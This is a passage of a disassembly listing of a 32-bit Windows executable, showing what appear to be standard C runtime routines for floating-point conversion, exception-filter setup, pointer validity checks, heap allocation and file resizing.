push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424A99
inc ebx
push ebx
push [ebp+arg_0]
call sub_424996
pop ecx
test eax, eax
pop ecx
jnz short loc_424A96
push edi
push [ebp+arg_0]
call sub_4249DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424A96: ; CODE XREF: sub_424A35+51j
mov eax, [ebp+arg_4]
loc_424A99: ; CODE XREF: sub_424A35+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424AB9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424AB9: ; CODE XREF: sub_424A35+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424A35 endp
; =============== S U B R O U T I N E =======================================
sub_424AC1 proc near ; CODE XREF: sub_424B90+75p
; sub_424B90+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_424ACF: ; CODE XREF: sub_424AC1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_424ACF
pop esi
retn
sub_424AC1 endp
; =============== S U B R O U T I N E =======================================
sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp
; sub_424B90+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_424ADC endp
; =============== S U B R O U T I N E =======================================
sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_424AEE: ; CODE XREF: sub_424AE8+12j
cmp dword ptr [eax], 0
jnz short loc_424B00
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_424AEE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424B00: ; CODE XREF: sub_424AE8+9j
xor eax, eax
retn
sub_424AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B03 proc near ; CODE XREF: sub_424B90+C0p
; sub_424B90+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424B39: ; CODE XREF: sub_424B03+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424B39
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424B6B: ; CODE XREF: sub_424B03+86j
cmp ebx, edi
jl short loc_424B7E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424B85
; ---------------------------------------------------------------------------
loc_424B7E: ; CODE XREF: sub_424B03+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424B85: ; CODE XREF: sub_424B03+79j
dec ebx
sub ecx, 4
jns short loc_424B6B
pop edi
pop esi
pop ebx
leave
retn
sub_424B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp
; sub_424D12+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424BFD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424AE8
test eax, eax
pop ecx
jnz loc_424CBC
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
loc_424BF5: ; CODE XREF: sub_424B90+E4j
push 2
loc_424BF7: ; CODE XREF: sub_424B90+110j
pop eax
jmp loc_424CBE
; ---------------------------------------------------------------------------
loc_424BFD: ; CODE XREF: sub_424B90+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424AC1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
add esp, 10h
test eax, eax
jz short loc_424C1E
inc ebx
loc_424C1E: ; CODE XREF: sub_424B90+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424C36
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
jmp short loc_424C72
; ---------------------------------------------------------------------------
loc_424C36: ; CODE XREF: sub_424B90+98j
cmp ebx, eax
jg short loc_424C79
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424AC1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424B03
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424B03
add esp, 20h
loc_424C72: ; CODE XREF: sub_424B90+A4j
xor esi, esi
jmp loc_424BF5
; ---------------------------------------------------------------------------
loc_424C79: ; CODE XREF: sub_424B90+A8j
cmp ebx, [edi]
jl short loc_424CA5
lea eax, [ebp+var_C]
push eax
call sub_424ADC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424B03
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424BF7
; ---------------------------------------------------------------------------
loc_424CA5: ; CODE XREF: sub_424B90+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424B03
pop ecx
pop ecx
loc_424CBC: ; CODE XREF: sub_424B90+55j
xor eax, eax
loc_424CBE: ; CODE XREF: sub_424B90+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424CED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424CF7
; ---------------------------------------------------------------------------
loc_424CED: ; CODE XREF: sub_424B90+14Ej
cmp edi, 20h
jnz short loc_424CF7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424CF7: ; CODE XREF: sub_424B90+15Bj
; sub_424B90+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424B90 endp
; =============== S U B R O U T I N E =======================================
sub_424CFC proc near ; CODE XREF: sub_424D28+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D7F8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424CFC endp
; =============== S U B R O U T I N E =======================================
sub_424D12 proc near ; CODE XREF: sub_424D55+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D810
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D28 proc near ; CODE XREF: sub_42223B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424CFC
add esp, 24h
leave
retn
sub_424D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D12
add esp, 24h
leave
retn
sub_424D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D82 proc near ; CODE XREF: sub_422279+65p
; sub_42237D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424DBF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424DA5: ; CODE XREF: sub_424D82+38j
mov dl, [ecx]
test dl, dl
jz short loc_424DB1
movsx edx, dl
inc ecx
jmp short loc_424DB4
; ---------------------------------------------------------------------------
loc_424DB1: ; CODE XREF: sub_424D82+27j
push 30h
pop edx
loc_424DB4: ; CODE XREF: sub_424D82+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424DA5
mov edx, [ebp+arg_8]
loc_424DBF: ; CODE XREF: sub_424D82+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424DD8
cmp byte ptr [ecx], 35h
jl short loc_424DD8
loc_424DCB: ; CODE XREF: sub_424D82+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424DD6
mov byte ptr [eax], 30h
jmp short loc_424DCB
; ---------------------------------------------------------------------------
loc_424DD6: ; CODE XREF: sub_424D82+4Dj
inc byte ptr [eax]
loc_424DD8: ; CODE XREF: sub_424D82+42j
; sub_424D82+47j
cmp byte ptr [esi], 31h
jnz short loc_424DE2
inc dword ptr [edx+4]
jmp short loc_424DF4
; ---------------------------------------------------------------------------
loc_424DE2: ; CODE XREF: sub_424D82+59j
push edi
call sub_41B9C0
inc eax
push eax
push edi
push esi
call sub_41D670
add esp, 10h
loc_424DF4: ; CODE XREF: sub_424D82+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424D82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp
; sub_42237D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424E5D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBFB8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425973
mov dword_4DBFE0, eax
add esp, 18h
movsx eax, byte_4DBFBA
mov dword_4DBFD8, eax
pop edi
movsx eax, word_4DBFB8
mov dword_4DBFDC, eax
mov dword_4DBFE4, offset dword_4DBFBC
mov eax, offset dword_4DBFD8
pop esi
leave
retn
sub_424DF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E5D proc near ; CODE XREF: sub_424DF9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424EAB
cmp ebx, edi
jz short loc_424EA4
lea edi, [ecx+3C00h]
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EA4: ; CODE XREF: sub_424E5D+3Dj
mov edi, 7FFFh
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E5D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424EC3
cmp edx, ebx
jnz short loc_424EC3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424F0E
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E5D+52j
; sub_424E5D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424ECC: ; CODE XREF: sub_424E5D+45j
; sub_424E5D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424EE4: ; CODE XREF: sub_424E5D+A6j
test ecx, esi
jnz short loc_424F05
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424EE4
; ---------------------------------------------------------------------------
loc_424F05: ; CODE XREF: sub_424E5D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424F0E: ; CODE XREF: sub_424E5D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424E5D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E2C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424F1C proc near ; DATA XREF: sub_424F62o
; .packed:0043D438o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424F3F
cmp dword ptr [eax+10h], 3
jnz short loc_424F3F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424F3F
jmp sub_422DFC
; ---------------------------------------------------------------------------
loc_424F3F: ; CODE XREF: sub_424F1C+Dj
; sub_424F1C+13j ...
mov eax, dword_4DBFE8
test eax, eax
jz short loc_424F5C
push eax
call sub_424FB8
test eax, eax
pop ecx
jz short loc_424F5C
push esi
call dword_4DBFE8
jmp short loc_424F5E
; ---------------------------------------------------------------------------
loc_424F5C: ; CODE XREF: sub_424F1C+2Aj
; sub_424F1C+35j
xor eax, eax
loc_424F5E: ; CODE XREF: sub_424F1C+3Ej
pop esi
retn 4
sub_424F1C endp
; =============== S U B R O U T I N E =======================================
sub_424F62 proc near ; DATA XREF: .packed:00429024o
push offset sub_424F1C
call dword_427010 ; SetUnhandledExceptionFilter
mov dword_4DBFE8, eax
retn
sub_424F62 endp
; =============== S U B R O U T I N E =======================================
sub_424F73 proc near ; DATA XREF: .packed:0042903Co
push dword_4DBFE8
call dword_427010 ; SetUnhandledExceptionFilter
retn
sub_424F73 endp
; =============== S U B R O U T I N E =======================================
sub_424F80 proc near ; CODE XREF: sub_422651+6Bp
; sub_422B62+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_42700C ; IsBadReadPtr
test eax, eax
jz short loc_424F98
xor esi, esi
loc_424F98: ; CODE XREF: sub_424F80+14j
mov eax, esi
pop esi
retn
sub_424F80 endp
; =============== S U B R O U T I N E =======================================
sub_424F9C proc near ; CODE XREF: sub_422B62+73p
; sub_422B62+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_427060 ; IsBadWritePtr
test eax, eax
jz short loc_424FB4
xor esi, esi
loc_424FB4: ; CODE XREF: sub_424F9C+14j
mov eax, esi
pop esi
retn
sub_424F9C endp
; =============== S U B R O U T I N E =======================================
sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp
; sub_424F1C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_427008 ; IsBadCodePtr
test eax, eax
jz short loc_424FCC
xor esi, esi
loc_424FCC: ; CODE XREF: sub_424FB8+10j
mov eax, esi
pop esi
retn
sub_424FB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DFC
loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj
push 0Ah
call sub_423DD1
push 16h
call sub_425C06
pop ecx
pop ecx
push 3
call sub_41C1A2
; END OF FUNCTION CHUNK FOR sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_424FE7 proc near ; CODE XREF: sub_42367B+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424FF8
add esp, 0Ch
retn
sub_424FE7 endp
; =============== S U B R O U T I N E =======================================
sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DD261[eax], cl
jnz short loc_425025
cmp [esp+arg_4], 0
jz short loc_42501E
movzx eax, word_43CE82[eax*2]
and eax, [esp+arg_4]
jmp short loc_425020
; ---------------------------------------------------------------------------
loc_42501E: ; CODE XREF: sub_424FF8+16j
xor eax, eax
loc_425020: ; CODE XREF: sub_424FF8+24j
test eax, eax
jnz short loc_425025
retn
; ---------------------------------------------------------------------------
loc_425025: ; CODE XREF: sub_424FF8+Fj
; sub_424FF8+2Aj
push 1
pop eax
retn
sub_424FF8 endp
; =============== S U B R O U T I N E =======================================
sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBFEC, ebx
push esi
push edi
jnz short loc_425078
push offset aUser32_dll ; "user32.dll"
call dword_4270C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4250AE
mov esi, dword_4270C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_4DBFEC, eax
jz short loc_4250AE
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBFF0, eax
call esi ; GetProcAddress
mov dword_4DBFF4, eax
loc_425078: ; CODE XREF: sub_425029+Bj
mov eax, dword_4DBFF0
test eax, eax
jz short loc_425097
call eax
mov ebx, eax
test ebx, ebx
jz short loc_425097
mov eax, dword_4DBFF4
test eax, eax
jz short loc_425097
push ebx
call eax
mov ebx, eax
loc_425097: ; CODE XREF: sub_425029+56j
; sub_425029+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBFEC
loc_4250AA: ; CODE XREF: sub_425029+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4250AE: ; CODE XREF: sub_425029+1Cj
; sub_425029+33j
xor eax, eax
jmp short loc_4250AA
sub_425029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250B2 proc near ; CODE XREF: sub_42413E+22p
; sub_42413E+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4250D3
test esi, esi
jnz short loc_4250CD
push 1
pop esi
loc_4250CD: ; CODE XREF: sub_4250B2+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4250D3: ; CODE XREF: sub_4250B2+12j
; sub_4250B2+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425132
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_4250FE
mov eax, [ebp+arg_0]
cmp eax, dword_4DD380
ja short loc_42511D
push eax
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425148
jmp short loc_42511D
; ---------------------------------------------------------------------------
loc_4250FE: ; CODE XREF: sub_4250B2+30j
cmp eax, 2
jnz short loc_42511D
cmp esi, dword_43CE74
ja short loc_42511D
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42515C
loc_42511D: ; CODE XREF: sub_4250B2+3Bj
; sub_4250B2+4Aj ...
push esi
push 8
push dword_4DD384
call dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_425156
loc_425132: ; CODE XREF: sub_4250B2+26j
cmp dword_4DBE48, 0
jz short loc_425156
push esi
call sub_41FBB2
test eax, eax
pop ecx
jz short loc_42515F
jmp short loc_4250D3
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250B2+48j
push [ebp+arg_0]
loc_42514B: ; CODE XREF: sub_4250B2+ABj
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_425156: ; CODE XREF: sub_4250B2+7Ej
; sub_4250B2+87j
mov eax, edi
loc_425158: ; CODE XREF: sub_4250B2+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42515C: ; CODE XREF: sub_4250B2+69j
push esi
jmp short loc_42514B
; ---------------------------------------------------------------------------
loc_42515F: ; CODE XREF: sub_4250B2+92j
xor eax, eax
jmp short loc_425158
sub_4250B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4241E3
loc_425163: ; CODE XREF: sub_4241E3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DD020, esi
jle short loc_4251B6
loc_425172: ; CODE XREF: sub_4241E3+FD1j
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4251AD
test byte ptr [eax+0Ch], 83h
jz short loc_425191
push eax
call sub_41BA3B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425191
inc edi
loc_425191: ; CODE XREF: sub_4241E3+F9Fj
; sub_4241E3+FABj
cmp esi, 14h
jl short loc_4251AD
mov eax, dword_4DC01C
push dword ptr [eax+esi*4]
call sub_41BA91
mov eax, dword_4DC01C
pop ecx
and dword ptr [eax+esi*4], 0
loc_4251AD: ; CODE XREF: sub_4241E3+F99j
; sub_4241E3+FB1j
inc esi
cmp esi, dword_4DD020
jl short loc_425172
loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4241E3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251BB proc near ; CODE XREF: sub_42423B+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DD140
jnb loc_4252F0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_4252F0
push 1
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4252FA
push 2
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4252FA
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42529D
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BF70
loc_425240: ; DATA XREF: .packed:off_438CB8o
push 8000h
push ebx
call sub_425D78
add esp, 14h
mov [ebp+arg_4], eax
loc_425251: ; CODE XREF: sub_4251BB+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_42525C
mov eax, edi
loc_42525C: ; CODE XREF: sub_4251BB+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_42527A
sub edi, eax
test edi, edi
jle short loc_425290
jmp short loc_425251
; ---------------------------------------------------------------------------
loc_42527A: ; CODE XREF: sub_4251BB+B5j
cmp dword_4DBDE0, 5
jnz short loc_42528D
mov dword_4DBDDC, 0Dh
loc_42528D: ; CODE XREF: sub_4251BB+C6j
or esi, 0FFFFFFFFh
loc_425290: ; CODE XREF: sub_4251BB+BBj
push [ebp+arg_4]
push ebx
call sub_425D78
pop ecx
pop ecx
jmp short loc_4252DD
; ---------------------------------------------------------------------------
loc_42529D: ; CODE XREF: sub_4251BB+71j
jge short loc_4252DD
push 0
push [ebp+arg_4]
push ebx
call sub_422F09
push ebx
call sub_4240AA
add esp, 10h
push eax
call dword_427004 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4252DD
mov dword_4DBDDC, 0Dh
call dword_427094 ; RtlGetLastWin32Error
mov dword_4DBDE0, eax
loc_4252DD: ; CODE XREF: sub_4251BB+E0j
; sub_4251BB:loc_42529Dj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422F09
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_4252FD
; ---------------------------------------------------------------------------
loc_4252F0: ; CODE XREF: sub_4251BB+1Aj
; sub_4251BB+36j
mov dword_4DBDDC, 9
loc_4252FA: ; CODE XREF: sub_4251BB+4Ej
; sub_4251BB+63j
or eax, 0FFFFFFFFh
loc_4252FD: ; CODE XREF: sub_4251BB+133j
pop esi
pop ebx
leave
retn
sub_4251BB endp
; =============== S U B R O U T I N E =======================================
sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp
; sub_4249DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425317
cmp ecx, esi
jnb short loc_42531A
loc_425317: ; CODE XREF: sub_425301+10j
push 1
pop eax
loc_42531A: ; CODE XREF: sub_425301+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425301 endp
; =============== S U B R O U T I N E =======================================
sub_425322 proc near ; CODE XREF: sub_4253DB+40p
; sub_4253DB+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
inc dword ptr [esi+8]
loc_425354: ; CODE XREF: sub_425322+19j
; sub_425322+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_42536C
inc dword ptr [esi+8]
loc_42536C: ; CODE XREF: sub_425322+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
pop edi
pop esi
retn
sub_425322 endp
; =============== S U B R O U T I N E =======================================
sub_425380 proc near ; CODE XREF: sub_4253DB+30p
; sub_4253DB+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_425380 endp
; =============== S U B R O U T I N E =======================================
sub_4253AE proc near ; CODE XREF: sub_425973+1C8p
; sub_425DEE+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4253AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
